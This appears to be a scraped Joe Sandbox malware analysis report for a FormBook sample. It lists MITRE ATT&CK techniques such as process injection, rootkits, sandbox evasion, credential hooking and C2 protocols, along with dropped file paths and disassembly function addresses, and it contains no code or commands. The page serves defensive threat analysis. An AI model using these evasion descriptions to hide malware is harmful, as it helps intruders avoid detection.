Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report sOjxIU25DP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: FormBook

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nssC219.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\Skvvinklet.Ove39

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\affdende.smk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide\morgenfruernes.teg

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Windows Analysis Report
sOjxIU25DP.exe

Function 00403461 Relevance: 89.6, APIs: 32, Strings: 19, Instructions: 366
stringcomfileCOMMON

Function 0040548D Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 6F621A98 Relevance: 20.1, APIs: 13, Instructions: 591
stringlibrarymemoryCOMMONCrypto

Function 004059F0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 159
filestringCOMMON

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 0040216B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139
comCOMMON

Function 00406925 Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 0040659C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Function 00403DD8 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre